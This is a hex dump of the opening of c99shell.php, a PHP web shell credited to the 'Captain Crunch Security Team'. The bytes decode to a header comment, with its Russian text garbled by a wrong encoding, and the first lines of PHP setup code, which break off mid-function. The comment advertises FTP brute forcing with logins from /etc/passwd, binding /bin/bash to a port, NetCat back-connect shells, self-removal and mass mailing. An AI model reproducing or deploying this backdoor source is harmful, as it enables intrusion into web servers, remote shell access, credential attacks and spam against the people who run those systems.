00021E88 00021EA0 00021EB8 00021ED0 00021EE8 00021F00 00021F18 00021F30 00021F48 00021F60 00021F78 00021F90 00021FA8 00021FC0 00021FD8 00021FF0 00022008 00022020 00022038 00022050 00022068 00022080 00022098 000220B0 000220C8 000220E0 000220F8 00022110 00022128 00022140 00022158 00022170 00022188 000221A0 000221B8 000221D0 000221E8 00022200 00022218 00022230 00022248 00022260 00022278 00022290 000222A8 000222C0 000222D8 000222F0 00022308 00022320 00022338 00022350 00022368 00022380 00022398 000223B0 000223C8 000223E0 000223F8 00022410 00022428 00022440 00022458 00022470 00022488 000224A0 000224B8 000224D0 000224E8 00022500 00022518 00022530 00022548 00022560 00022578 00022590 000225A8 000225C0 000225D8 000225F0 00022608 00022620 00022638 00022650 00022668 00022680 00022698 000226B0 000226C8 000226E0 000226F8 00022710 00022728 00022740 00022758 00022770 00022788 000227A0 000227B8 000227D0 000227E8 00022800 00022818 00022830 00022848 00022860 00022878 00022890 000228A8 000228C0 000228D8 000228F0 00022908 00022920 00022938 00022950 00022968 00022980 00022998 000229B0 000229C8 000229E0 000229F8 00022A10 00022A28 00022A40 00022A58 00022A70 00022A88 00022AA0 00022AB8 00022AD0 00022AE8 00022B00 00022B18 00022B30 00022B48 00022B60 00022B78 00022B90 00022BA8 00022BC0 00022BD8 00022BF0 00022C08 00022C20 00022C38 00022C50 00022C68 00022C80 00022C98 00022CB0 00022CC8 00022CE0 00022CF8 00022D10 00022D28 00022D40 00022D58 00022D70 00022D88 00022DA0 00022DB8 00022DD0 00022DE8 00022E00 00022E18 00022E30 00022E48 00022E60 00022E78 00022E90 00022EA8 00022EC0 00022ED8 00022EF0 00022F08 00022F20 00022F38 00022F50 00022F68 00022F80 00022F98 00022FB0 00022FC8 00022FE0 00022FF8 00023010 00023028 00023040 00023058 00023070 00023088 000230A0 000230B8 000230D0 000230E8 00023100 00023118 00023130 00023148 00023160 00023178 00023190 000231A8 000231C0 000231D8 000231F0 00023208 00023220 00023238 00023250 00023268 00023280 00023298 000232B0 000232C8 000232E0 000232F8 00023310 00023328 00023340 00023358 00023370 00023388 000233A0 000233B8 000233D0 000233E8 00023400 00023418 00023430 00023448 00023460 00023478 00023490 000234A8 000234C0 000234D8 000234F0 00023508 00023520 00023538 00023550 00023568 00023580 00023598 000235B0 000235C8 000235E0 000235F8 00023610 00023628 00023640 00023658 00023670 00023688 000236A0 000236B8 000236D0 000236E8 00023700 00023718 00023730 00023748 00023760 00023778 00023790 000237A8 000237C0 000237D8 000237F0 00023808 00023820 00023838 00023850 00023868 00023880 00023898 000238B0 000238C8 000238E0 000238F8 00023910 00023928 00023940 00023958 00023970 00023988 000239A0 000239B8 000239D0 000239E8 00023A00 00023A18 00023A30 00023A48 00023A60 00023A78 00023A90 00023AA8 00023AC0 00023AD8 00023AF0 00023B08 00023B20 00023B38 00023B50 00023B68 00023B80 00023B98 00023BB0 00023BC8 00023BE0 00023BF8 00023C10 00023C28 00023C40 00023C58 00023C70 00023C88 00023CA0 00023CB8 00023CD0 00023CE8 00023D00 00023D18 00023D30 00023D48 00023D60 00023D78 00023D90 00023DA8 00023DC0 00023DD8 00023DF0 00023E08 00023E20 00023E38 00023E50 00023E68 00023E80 00023E98 00023EB0 00023EC8 00023EE0 00023EF8 00023F10 00023F28 00023F40 00023F58 00023F70 00023F88 00023FA0 00023FB8 00023FD0 00023FE8 00024000 00024018 00024030 00024048 00024060 00024078 00024090 000240A8 000240C0 000240D8 000240F0 00024108 00024120 00024138 00024150 00024168 00024180 00024198 000241B0 000241C8 000241E0 000241F8 00024210 00024228 00024240 00024258 00024270 00024288 000242A0 000242B8 000242D0 000242E8 00024300 00024318 00024330 00024348 00024360 00024378 00024390 000243A8 000243C0 000243D8 000243F0 00024408 00024420 00024438 00024450 00024468 00024480 00024498 000244B0 000244C8 000244E0 000244F8 00024510 00024528 00024540 00024558 00024570 00024588 000245A0 000245B8 000245D0 000245E8 00024600 00024618 00024630 00024648 00024660 00024678 00024690 000246A8 000246C0 000246D8 000246F0 00024708 00024720 00024738 00024750 00024768 00024780 00024798 000247B0 000247C8 000247E0 000247F8 00024810 00024828 00024840 00024858 00024870 00024888 000248A0 000248B8 000248D0 000248E8 00024900 00024918 00024930 00024948 00024960 00024978 00024990 000249A8 000249C0 000249D8 000249F0 00024A08 00024A20 00024A38 00024A50 00024A68 00024A80 00024A98 00024AB0 00024AC8 00024AE0 00024AF8 00024B10 00024B28 00024B40 00024B58 00024B70 00024B88 00024BA0 00024BB8 00024BD0 00024BE8 00024C00 00024C18 00024C30 00024C48 00024C60 00024C78 00024C90 00024CA8 00024CC0 00024CD8 00024CF0 00024D08 00024D20 00024D38 00024D50 00024D68 00024D80 00024D98 00024DB0 00024DC8 00024DE0 00024DF8 00024E10 00024E28 00024E40 00024E58 00024E70 00024E88 00024EA0 00024EB8 00024ED0 00024EE8 00024F00 00024F18 00024F30 00024F48 00024F60 00024F78 00024F90 00024FA8 00024FC0 00024FD8 00024FF0 00025008 00025020 00025038 00025050 00025068 00025080 00025098 000250B0 000250C8 000250E0 000250F8 00025110 00025128 00025140 00025158 00025170 00025188 000251A0 000251B8 000251D0 000251E8 00025200 00025218 00025230 00025248 00025260 00025278 00025290 000252A8 000252C0 000252D8 000252F0 00025308 00025320 00025338 00025350 00025368 00025380 00025398 000253B0 000253C8 000253E0 000253F8 00025410 00025428 00025440 00025458 00025470 00025488 000254A0 000254B8 000254D0 000254E8 00025500 00025518 00025530 00025548 00025560 00025578 00025590 000255A8 000255C0 000255D8 000255F0 00025608 00025620 00025638 00025650 00025668 00025680 00025698 000256B0 000256C8 000256E0 000256F8 00025710 00025728 00025740 00025758 00025770 00025788 000257A0 000257B8 000257D0 000257E8 00025800 00025818 00025830 00025848 00025860 00025878 00025890 000258A8 000258C0 000258D8 000258F0 00025908 00025920 00025938 00025950 00025968 00025980 00025998 000259B0 000259C8 000259E0 000259F8 00025A10 00025A28 00025A40 00025A58 00025A70 00025A88 00025AA0 00025AB8 00025AD0 00025AE8 00025B00 00025B18 00025B30 00025B48 00025B60 00025B78 00025B90 00025BA8 00025BC0 00025BD8 00025BF0 00025C08 00025C20 00025C38 00025C50 00025C68 00025C80 00025C98 00025CB0 00025CC8 00025CE0 00025CF8 00025D10 00025D28 00025D40 00025D58 00025D70 00025D88 00025DA0 00025DB8 00025DD0 00025DE8 00025E00 00025E18 00025E30 00025E48 00025E60 00025E78 00025E90 00025EA8 00025EC0 00025ED8 00025EF0 00025F08 00025F20 00025F38 00025F50 00025F68 00025F80 00025F98 00025FB0 00025FC8 00025FE0 00025FF8 00026010 00026028 00026040 00026058 00026070 00026088 000260A0 000260B8 000260D0 000260E8 00026100 00026118 00026130 00026148 00026160 00026178 00026190 000261A8 000261C0 000261D8 000261F0 00026208 00026220 00026238 00026250 00026268 00026280 00026298 000262B0 000262C8 000262E0 000262F8 00026310 00026328 00026340 00026358 00026370 00026388 000263A0 000263B8 000263D0 000263E8 00026400 00026418 00026430 00026448 00026460 00026478 00026490 000264A8 000264C0 000264D8 000264F0 00026508 00026520 00026538 00026550 00026568 00026580 00026598 000265B0 000265C8 000265E0 000265F8 00026610 00026628 00026640 00026658 00026670 00026688 000266A0 000266B8 000266D0 000266E8 00026700 00026718 00026730 00026748 00026760 00026778 00026790 000267A8 000267C0 000267D8 000267F0 00026808 00026820 00026838 00026850 00026868 00026880 00026898 000268B0 000268C8 000268E0 000268F8 00026910 00026928 00026940 00026958 00026970 00026988 000269A0 000269B8 000269D0 000269E8 00026A00 00026A18 00026A30 00026A48 00026A60 00026A78 00026A90 00026AA8 00026AC0 00026AD8 00026AF0 00026B08 00026B20 00026B38 00026B50 00026B68 00026B80 00026B98 00026BB0 00026BC8 00026BE0 00026BF8 00026C10 00026C28 00026C40 00026C58 00026C70 00026C88 00026CA0 00026CB8 00026CD0 00026CE8 00026D00 00026D18 00026D30 00026D48 00026D60 00026D78 00026D90 00026DA8 00026DC0 00026DD8 00026DF0 00026E08 00026E20 00026E38 00026E50 00026E68 00026E80 00026E98 00026EB0 00026EC8 00026EE0 00026EF8 00026F10 00026F28 00026F40 00026F58 00026F70 00026F88 00026FA0 00026FB8 00026FD0 00026FE8 00027000 00027018 00027030 00027048 00027060 00027078 00027090 000270A8 000270C0 000270D8 000270F0 00027108 00027120 00027138 00027150 00027168 00027180 00027198 000271B0 000271C8 000271E0 000271F8 00027210 00027228 00027240 00027258 00027270 00027288 000272A0 000272B8 000272D0 000272E8 00027300 00027318 00027330 00027348 00027360 00027378 00027390
| 3C 3F 70 68 70 0A 2F 2A 0A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 0A 2A 0A 2A 09 09 09 09 09 63 39 39 73 68 65 6C 6C 2E 70 68 70 20 76 2E 31 2E 30 20 70 72 65 2D 72 65 6C 65 61 73 65 20 62 75 69 6C 64 20 23 31 33 0A 2A 09 09 09 09 09 09 09 46 72 65 65 77 61 72 65 20 6C 69 63 65 6E 73 65 2E 0A 2A 09 09 09 09 09 09 09 09 C2 A9 20 43 43 54 65 61 4D 2E 0A 2A 20 20 63 39 39 73 68 65 6C 6C 20 2D 20 C3 B4 C3 A0 C3 A9 C3 AB 2D C3 AC C3 A5 C3 AD C3 A5 C3 A4 C3 A6 C3 A5 C3 B0 20 C3 B7 C3 A5 C3 B0 C3 A5 C3 A7 20 77 77 77 2D C3 A1 C3 B0 C3 AE C3 B3 C3 A7 C3 A5 C3 B0 2C 20 22 C3 A7 C3 A0 C3 B2 C3 AE C3 B7 C3 A5 C3 AD C3 BB C3 A9 22 20 C3 A4 C3 AB C3 BF 20 C3 A2 C3 A7 C3 AB C3 AE C3 AC C3 A0 2E 0A 2A 20 20 C3 82 C3 BB 20 C3 AC C3 AE C3 A6 C3 A5 C3 B2 C3 A5 20 C3 A1 C3 A5 C3 B1 C3 AF C3 AB C3 A0 C3 B2 C3 AD C3 AE 20 C3 B1 C3 AA C3 A0 C3 B7 C3 A0 C3 B2 C3 BC 20 C3 AF C3 AE C3 B1 C3 AB C3 A5 C3 A4 C3 AD C3 BE C3 BE 20 C3 A2 C3 A5 C3 B0 C3 B1 C3 A8 C3 BE 20 C3 AD C3 A0 20 C3 A4 C3 AE C3 AC C3 A0 C3 B8 C3 AD C3 A5 C3 A9 20 C3 B1 C3 B2 C3 B0 C3 A0 C3 AD C3 A8 C3 B7 C3 AA C3 A5 20 C3 AF C3 B0 C3 AE C3 A4 C3 B3 C3 AA C3 B2 C3 A0 3A 0A 20 20 20 68 74 74 70 3A 2F 2F 63 63 74 65 61 6D 2E 72 75 2F 72 65 6C 65 61 73 65 73 2F 63 39 39 73 68 65 6C 6C 0A 2A 0A 2A 20 20 57 45 42 3A 20 68 74 74 70 3A 2F 2F 63 63 74 65 61 6D 2E 72 75 0A 2A 20 20 49 43 51 20 55 49 4E 20 23 3A 20 36 35 36 35 35 35 0A 2A 0A 2A 20 20 C3 8E C3 B1 C3 AE C3 A1 C3 A5 C3 AD C3 AD C3 AE C3 B1 C3 B2 C3 A8 3A 0A 2A 20 20 2B 20 C3 B3 C3 AF C3 B0 C3 A0 C3 A2 C3 AB C3 A5 C3 AD C3 A8 C3 A5 20 C3 AB C3 AE C3 AA C3 A0 C3 AB C3 BC C3 AD C3 BB C3 AC C3 A8 20 C3 A8 20 C3 B3 C3 A4 C3 A0 C3 AB C3 A5 C3 AD C3 AD C3 BB C3 AC C3 A8 20 28 66 74 70 2C 20 73 61 6D 62 61 29 20 C3 B4 C3 A0 C3 A9 C3 AB C3 A0 C3 AC C3 A8 2F C3 AF C3 A0 C3 AF C3 AA C3 A0 C3 AC C3 A8 2C 20 C3 B1 C3 AE C3 B0 C3 B2 C3 A8 C3 B0 C3 AE C3 A2 C3 AA C3 A0 0A 2A 20 20 20 20 C3 A7 C3 A0 C3 AA C3 A0 C3 B7 C3 A8 C3 A2 C3 A0 C3 AD C3 A8 C3 A5 20 C3 B1 C3 AA C3 A0 C3 B7 C3 A8 C3 A2 C3 A0 C3 AD C3 A8 C3 A5 20 C3 B4 C3 A0 C3 A9 C3 AB C3 AE C3 A2 20 C3 A8 20 C3 AF C3 A0 C3 AF C3 AE C3 AA 0A 2A 20 20 20 20 28 C3 AF C3 B0 C3 A5 C3 A4 C3 A2 C3 AE C3 B0 C3 A8 C3 B2 C3 A5 C3 AB C3 BC C3 AD C3 AE 20 C3 B3 C3 AF C3 A0 C3 AA C3 AE C3 A2 C3 BB C3 A2 C3 A0 C3 A5 C3 B2 C3 B1 C3 BF 2F C3 B0 C3 A0 C3 B1 C3 AF C3 A0 C3 AA C3 AE C3 A2 C3 BB C3 A2 C3 A0 C3 A5 C3 B2 C3 B1 C3 BF 20 C3 B7 C3 A5 C3 B0 C3 A5 C3 A7 20 74 61 72 29 0A 2A 20 20 20 20 C3 AF C3 B0 C3 AE C3 A4 C3 A2 C3 A8 C3 AD C3 B3 C3 B2 C3 BB C3 A9 20 C3 AF C3 AE C3 A8 C3 B1 C3 AA 20 28 C3 A2 C3 AE C3 A7 C3 AC C3 AE C3 A6 C3 A5 C3 AD 20 C3 A2 C3 AD C3 B3 C3 B2 C3 B0 C3 A8 20 C3 B4 C3 A0 C3 A9 C3 AB C3 AE C3 A2 29 0A 2A 20 20 20 20 6D 6F 64 69 66 79 2D 74 69 6D 65 20 C3 A8 20 61 63 63 65 73 73 2D 74 69 6D 65 20 C3 B3 20 C3 B4 C3 A0 C3 A9 C3 AB C3 AE C3 A2 20 C3 AD C3 A5 20 C3 AC C3 A5 C3 AD C3 BF C3 BE C3 B2 C3 B1 C3 BF 20 C3 AF C3 B0 C3 A8 20 C3 B0 C3 A5 C3 A4 C3 A0 C3 AA C3 B2 C3 A8 C3 B0 C3 AE C3 A2 C3 A0 C3 AD C3 A8 C3 A8 20 28 C3 A4 C3 AB C3 BF 20 C3 AE C3 B2 C3 AA C3 AB 2E 20 C3 B1 C3 AC 20 24 66 69 6C 65 73 74 65 61 6C 74 68 29 0A 2A 20 20 2B 20 C3 A2 C3 BB C3 AF C3 AE C3 AB C3 AD C3 A5 C3 AD C3 A8 C3 A5 20 C3 AF C3 B0 C3 AE C3 A8 C3 A7 C3 A2 C3 AE C3 AB C3 BC C3 AD C3 AE C3 A3 C3 AE 20 50 48 50 2D C3 AA C3 AE C3 A4 C3 A0 0A 2A 20 20 2B 20 C3 AA C3 AE C3 A4 C3 A8 C3 B0 C3 AE C3 A2 C3 B9 C3 A8 C3 AA 20 C3 A4 C3 A0 C3 AD C3 AD C3 BB C3 B5 20 C3 B7 C3 A5 C3 B0 C3 A5 C3 A7 20 6D 64 35 2C 20 75 6E 69 78 2D 6D 64 35 2C 20 73 68 61 31 2C 20 63 72 63 33 32 2C 20 62 61 73 65 36 34 0A 2A 20 20 2B 20 C3 A1 C3 BB C3 B1 C3 B2 C3 B0 C3 BB C3 A9 20 C3 AB C3 AE C3 AA C3 A0 C3 AB C3 BC C3 AD C3 BB C3 A9 20 C3 A0 C3 AD C3 A0 C3 AB C3 A8 C3 A7 20 C3 A1 C3 A5 C3 A7 C3 AE C3 AF C3 A0 C3 B1 C3 AD C3 AE C3 B1 C3 B2 C3 A8 20 C3 8E C3 91 0A 2A 20 20 2B 20 C3 A1 C3 BB C3 B1 C3 B2 C3 B0 C3 AE C3 A5 20 66 74 70 2D C3 B1 C3 AA C3 A0 C3 AD C3 A8 C3 B0 C3 AE C3 A2 C3 A0 C3 AD C3 A8 C3 A5 20 C3 AD C3 A0 20 C3 B1 C3 A2 C3 BF C3 A7 C3 AA C3 A8 20 6C 6F 67 69 6E 3B 6C 6F 67 69 6E 20 C3 A8 C3 A7 20 2F 65 74 63 2F 70 61 73 73 77 64 20 28 C3 AE C3 A1 C3 BB C3 B7 C3 AD C3 AE 20 C3 A4 C3 A0 C3 A5 C3 B2 20 C3 A4 C3 AE C3 B1 C3 B2 C3 B3 C3 AF 20 C3 AA 20 31 2F 31 30 30 20 C3 A0 C3 AA C3 AA C3 A0 C3 B3 C3 AD C3 B2 C3 AE C3 A2 29 0A 2A 20 20 20 20 C3 AF C3 AE C3 B1 C3 B2 C3 B0 C3 A0 C3 AD C3 A8 C3 B7 C3 AD C3 BB C3 A9 20 C3 A2 C3 BB C3 A2 C3 AE C3 A4 2C 20 C3 B1 C3 AE C3 B0 C3 B2 C3 A8 C3 B0 C3 AE C3 A2 C3 AA C3 A0 2C 20 C3 A3 C3 B0 C3 B3 C3 AF C3 AF C3 AE C3 A2 C3 BB C3 A5 20 C3 AE C3 AF C3 A5 C3 B0 C3 A0 C3 B6 C3 A8 C3 A8 20 C3 AD C3 A0 C3 A4 20 C3 81 C3 84 2F C3 B2 C3 A0 C3 A1 C3 AB C3 A8 C3 B6 C3 A0 C3 AC C3 A8 2C 20 C3 B3 C3 AF C3 B0 C3 A0 C3 A2 C3 AB C3 A5 C3 AD C3 A8 C3 A5 20 C3 AF C3 B0 C3 AE C3 B6 C3 A5 C3 B1 C3 B1 C3 A0 C3 AC C3 A8 20 53 51 4C 29 0A 2A 20 20 2B 20 C3 B1 C3 AA C3 B0 C3 A8 C3 AF C3 B2 20 22 C3 AB C3 BE C3 A1 C3 A8 C3 B2 22 20 69 6E 63 6C 75 64 65 3A 20 C3 A0 C3 A2 C3 B2 C3 AE C3 AC C3 A0 C3 B2 C3 A8 C3 B7 C3 A5 C3 B1 C3 AA C3 A8 20 C3 A8 C3 B9 C3 A5 C3 B2 20 C3 AF C3 A5 C3 B0 C3 A5 C3 AC C3 A5 C3 AD C3 AD C3 BB C3 A5 20 C3 B1 20 C3 A4 C3 A5 C3 B1 C3 AA C3 B0 C3 A8 C3 AF C3 B2 C3 AE C3 B0 C3 A0 C3 AC C3 A8 20 C3 A8 20 C3 A2 C3 B1 C3 B2 C3 A0 C3 A2 C3 AB C3 BF C3 A5 C3 B2 20 C3 A8 C3 B5 20 C3 A2 20 C3 B1 C3 B1 C3 BB C3 AB C3 AA C3 A8 20 28 C3 AE C3 AF C3 B6 C3 A8 C3 A0 C3 AB C3 BC C3 AD C3 AE 29 0A 20 20 20 20 20 C3 B2 C3 A0 C3 AA C3 A6 C3 A5 20 C3 AC C3 AE C3 A6 C3 AD C3 AE 20 C3 A8 C3 A7 C3 AC C3 A5 C3 AD C3 A8 C3 B2 C3 BC 20 24 73 75 72 6C 20 28 C3 A1 C3 A0 C3 A7 C3 AE C3 A2 C3 A0 C3 BF 20 C3 B1 C3 B1 C3 BB C3 AB C3 AA C3 A0 29 20 C3 AA C3 A0 C3 AA 20 C3 B7 C3 A5 C3 B0 C3 A5 C3 A7 20 C3 AA C3 AE C3 AD C3 B4 C3 A8 C3 A3 C3 B3 C3 B0 C3 A0 C3 B6 C3 A8 C3 BE 20 28 C3 AF C3 B0 C3 A8 C3 AD C3 B3 C3 A4 C3 A8 C3 B2 C3 A5 C3 AB C3 BC C3 AD C3 AE 29 20 C3 B2 C3 A0 C3 AA 20 C3 A8 20 C3 B7 C3 A5 C3 B0 C3 A5 C3 A7 20 63 6F 6F 6B 69 65 20 22 63 39 39 73 68 5F 73 75 72 6C 22 2C 0A 20 20 20 20 20 C3 A8 C3 A4 C3 A5 C3 B2 20 C3 A0 C3 A2 C3 B2 C3 AE 2D C3 A7 C3 A0 C3 AF C3 A8 C3 B1 C3 BC 20 C3 A7 C3 AD C3 A0 C3 B7 C3 A5 C3 AD C3 A8 C3 BF 20 24 73 65 74 5F 73 75 72 6C 20 C3 A2 20 63 6F 6F 6B 69 65 20 22 73 65 74 5F 73 75 72 6C 22 0A 2A 20 20 2B 20 C3 A2 C3 AE C3 A7 C3 AC C3 AE C3 A6 C3 AD C3 AE C3 B1 C3 B2 C3 BC 20 22 C3 A7 C3 A0 C3 A1 C3 A8 C3 AD C3 A4 C3 A8 C3 B2 C3 BC 22 20 2F 62 69 6E 2F 62 61 73 68 20 C3 AD C3 A0 20 C3 AE C3 AF C3 B0 C3 A5 C3 A4 C3 A5 C3 AB C3 A5 C3 AD C3 AD C3 BB C3 A9 20 C3 AF C3 AE C3 B0 C3 B2 20 C3 B1 20 C3 AF C3 B0 C3 AE C3 A8 C3 A7 C3 A2 C3 AE C3 AB C3 BC C3 AD C3 BB C3 AC 20 C3 AF C3 A0 C3 B0 C3 AE C3 AB C3 A5 C3 AC 2C 0A 2A 20 20 20 20 C3 A8 C3 AB C3 A8 20 C3 B1 C3 A4 C3 A5 C3 AB C3 A0 C3 B2 C3 BC 20 62 61 63 6B 20 63 6F 6E 6E 65 63 74 20 28 C3 AF C3 B0 C3 AE C3 A8 C3 A7 C3 A2 C3 AE C3 A4 C3 A8 C3 B2 C3 B1 C3 BF 20 C3 B2 C3 A5 C3 B1 C3 B2 C3 A8 C3 B0 C3 AE C3 A2 C3 A0 C3 AD C3 A8 C3 A5 20 C3 B1 C3 AE C3 A5 C3 A4 C3 A5 C3 AD C3 A5 C3 AD C3 A8 C3 BF 2C 20 C3 A8 20 C3 A2 C3 BB C3 A2 C3 AE C3 A4 C3 BF C3 B2 C3 B1 C3 BF 20 C3 AF C3 A0 C3 B0 C3 A0 C3 AC C3 A5 C3 B2 C3 B0 C3 BB 20 C3 A4 C3 AB C3 BF 20 C3 A7 C3 A0 C3 AF C3 B3 C3 B1 C3 AA C3 A0 20 4E 65 74 43 61 74 29 2E 0A 2A 20 20 2B 20 C3 A2 C3 AE C3 A7 C3 AC C3 AE C3 A6 C3 AD C3 AE C3 B1 C3 B2 C3 BC 20 C3 A1 C3 BB C3 B1 C3 B2 C3 B0 C3 AE C3 A3 C3 AE 20 C3 B1 C3 A0 C3 AC C3 AE 2D C3 B3 C3 A4 C3 A0 C3 AB C3 A5 C3 AD C3 A8 C3 BF 20 C3 B1 C3 AA C3 B0 C3 A8 C3 AF C3 B2 C3 A0 0A 2A 20 20 2B 20 C3 A0 C3 A2 C3 B2 C3 AE C3 AC C3 A0 C3 B2 C3 A8 C3 A7 C3 A8 C3 B0 C3 AE C3 A2 C3 A0 C3 AD C3 A0 C3 BF 20 C3 AE C3 B2 C3 AF C3 B0 C3 A0 C3 A2 C3 AA C3 A0 20 C3 B1 C3 AE C3 AE C3 A1 C3 B9 C3 A5 C3 AD C3 A8 C3 A9 20 C3 AE 20 C3 AD C3 A5 C3 A4 C3 AE C3 B0 C3 A0 C3 A1 C3 AE C3 B2 C3 AA C3 A0 C3 B5 20 C3 A8 20 C3 AF C3 AE C3 A6 C3 A5 C3 AB C3 A0 C3 AD C3 A8 C3 BF C3 B5 20 C3 A0 C3 A2 C3 B2 C3 AE C3 B0 C3 B3 20 28 C3 B7 C3 A5 C3 B0 C3 A5 C3 A7 20 6D 61 69 6C 28 29 29 0A 2A 0A 2A 09 C3 8F C3 B0 C3 A8 C3 A2 C3 A5 C3 A4 C3 A5 C3 AD 20 C3 A4 C3 A0 C3 AB C3 A5 C3 AA C3 AE 20 C3 AD C3 A5 20 C3 AF C3 AE C3 AB C3 AD C3 BB C3 A9 20 C3 B1 C3 AF C3 A8 C3 B1 C3 AE C3 AA 20 C3 A2 C3 AE C3 A7 C3 AC C3 AE C3 A6 C3 AD C3 AE C3 B1 C3 B2 C3 A5 C3 A9 2E 0A 2A 0A 2A 20 20 20 C3 8E C3 A6 C3 A8 C3 A4 C3 A0 C3 A5 C3 AC C3 BB C3 A5 20 C3 A8 C3 A7 C3 AC C3 A5 C3 AD C3 A5 C3 AD C3 A8 C3 BF 3A 0A 2A 20 20 7E 20 C3 90 C3 A0 C3 A7 C3 A2 C3 A8 C3 B2 C3 A8 C3 A5 20 73 71 6C 2D C3 AC C3 A5 C3 AD C3 A5 C3 A4 C3 A6 C3 A5 C3 B0 C3 A0 0A 2A 20 20 7E 20 C3 84 C3 AE C3 A1 C3 A0 C3 A2 C3 AB C3 A5 C3 AD C3 A8 C3 A5 20 C3 AD C3 A5 C3 A4 C3 AE C3 B1 C3 B2 C3 A0 C3 BE C3 B9 C3 A8 C3 B5 20 C3 B0 C3 A0 C3 B1 C3 B8 C3 A8 C3 B0 C3 A5 C3 AD C3 A8 C3 A9 20 C3 B4 C3 A0 C3 A9 C3 AB C3 AE C3 A2 0A 2A 0A 2A 20 20 7E 2D 7E 20 C3 8F C3 A8 C3 B8 C3 A8 C3 B2 C3 A5 20 C3 AE C3 A1 C3 AE 20 C3 A2 C3 B1 C3 A5 C3 B5 20 C3 AD C3 A0 C3 A9 C3 A4 C3 A5 C3 AD C3 BB C3 B5 20 C3 AD C3 A5 C3 A4 C3 AE C3 B0 C3 A0 C3 A1 C3 AE C3 B2 C3 AA C3 A0 C3 B5 2C 20 C3 A6 C3 A5 C3 AB C3 A0 C3 A5 C3 AC C3 BB C3 B5 20 C3 A8 C3 A7 C3 AC C3 A5 C3 AD C3 A5 C3 AD C3 A8 C3 BF C3 B5 20 C3 A8 20 C3 A4 C3 AE C3 B0 C3 A0 C3 A1 C3 AE C3 B2 C3 AA C3 A0 C3 B5 20 28 C3 A4 C3 A0 C3 A6 C3 A5 20 C3 AE 20 C3 B1 C3 A0 C3 AC C3 BB C3 B5 20 C3 AD C3 A5 C3 A7 C3 AD C3 A0 C3 B7 C3 A8 C3 B2 C3 A5 C3 AB C3 BC C3 AD C3 BB C3 B5 21 29 0A 20 20 20 20 20 20 20 C3 A2 20 49 43 51 20 55 49 4E 20 23 36 35 36 35 35 35 20 C3 AB C3 A8 C3 A1 C3 AE 20 C3 B7 C3 A5 C3 B0 C3 A5 C3 A7 20 C3 B0 C3 A0 C3 A7 C3 A4 C3 A5 C3 AB 20 22 66 65 65 64 62 61 63 6B 22 2C 20 C3 A1 C3 B3 C3 A4 C3 B3 C3 B2 20 C3 B0 C3 A0 C3 B1 C3 B1 C3 AC C3 AE C3 B2 C3 B0 C3 A5 C3 AD C3 BB 20 C3 A2 C3 B1 C3 A5 20 C3 AF C3 B0 C3 A5 C3 A4 C3 AB C3 AE C3 A6 C3 A5 C3 AD C3 A8 C3 BF 20 C3 A8 20 C3 AF C3 AE C3 A6 C3 A5 C3 AB C3 A0 C3 AD C3 A8 C3 BF 2E 0A 2A 0A 2A 20 20 4C 61 73 74 20 6D 6F 64 69 66 79 3A 20 32 39 2E 30 37 2E 32 30 30 35 0A 2A 0A 2A 20 20 C2 A9 20 43 61 70 74 61 69 6E 20 43 72 75 6E 63 68 20 53 65 63 75 72 69 74 79 20 54 65 61 4D 2E 20 43 6F 64 65 64 20 62 79 20 74 72 69 73 74 72 61 6D 0A 2A 0A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 0A 2A 2F 0A 2F 2F 53 74 61 72 74 69 6E 67 20 63 61 6C 6C 73 0A 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 67 65 74 6D 69 63 72 6F 74 69 6D 65 22 29 29 20 7B 66 75 6E 63 74 69 6F 6E 20 67 65 74 6D 69 63 72 6F 74 69 6D 65 28 29 20 7B 6C 69 73 74 28 24 75 73 65 63 2C 20 24 73 65 63 29 20 3D 20 65 78 70 6C 6F 64 65 28 22 20 22 2C 20 6D 69 63 72 6F 74 69 6D 65 28 29 29 3B 20 72 65 74 75 72 6E 20 28 28 66 6C 6F 61 74 29 24 75 73 65 63 20 2B 20 28 66 6C 6F 61 74 29 24 73 65 63 29 3B 7D 7D 0A 65 72 72 6F 72 5F 72 65 70 6F 72 74 69 6E 67 28 35 29 3B 0A 40 69 67 6E 6F 72 65 5F 75 73 65 72 5F 61 62 6F 72 74 28 74 72 75 65 29 3B 0A 40 73 65 74 5F 6D 61 67 69 63 5F 71 75 6F 74 65 73 5F 72 75 6E 74 69 6D 65 28 30 29 3B 0A 24 77 69 6E 20 3D 20 73 74 72 74 6F 6C 6F 77 65 72 28 73 75 62 73 74 72 28 50 48 50 5F 4F 53 2C 30 2C 33 29 29 20 3D 3D 20 22 77 69 6E 22 3B 0A 64 65 66 69 6E 65 28 22 73 74 61 72 74 74 69 6D 65 22 2C 67 65 74 6D 69 63 72 6F 74 69 6D 65 28 29 29 3B 0A 69 66 20 28 67 65 74 5F 6D 61 67 69 63 5F 71 75 6F 74 65 73 5F 67 70 63 28 29 29 20 7B 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 73 74 72 69 70 73 22 29 29 20 7B 66 75 6E 63 74 69 6F 6E 20 73 74 72 69 70 73 28 26 24 61 72 72 2C 24 6B 3D 22 22 29 20 7B 69 66 20 28 69 73 5F 61 72 72 61 79 28 24 61 72 72 29 29 20 7B 66 6F 72 65 61 63 68 28 24 61 72 72 20 61 73 20 24 6B 3D 3E 24 76 29 20 7B 69 66 20 28 73 74 72 74 6F 75 70 70 65 72 28 24 6B 29 20 21 3D 20 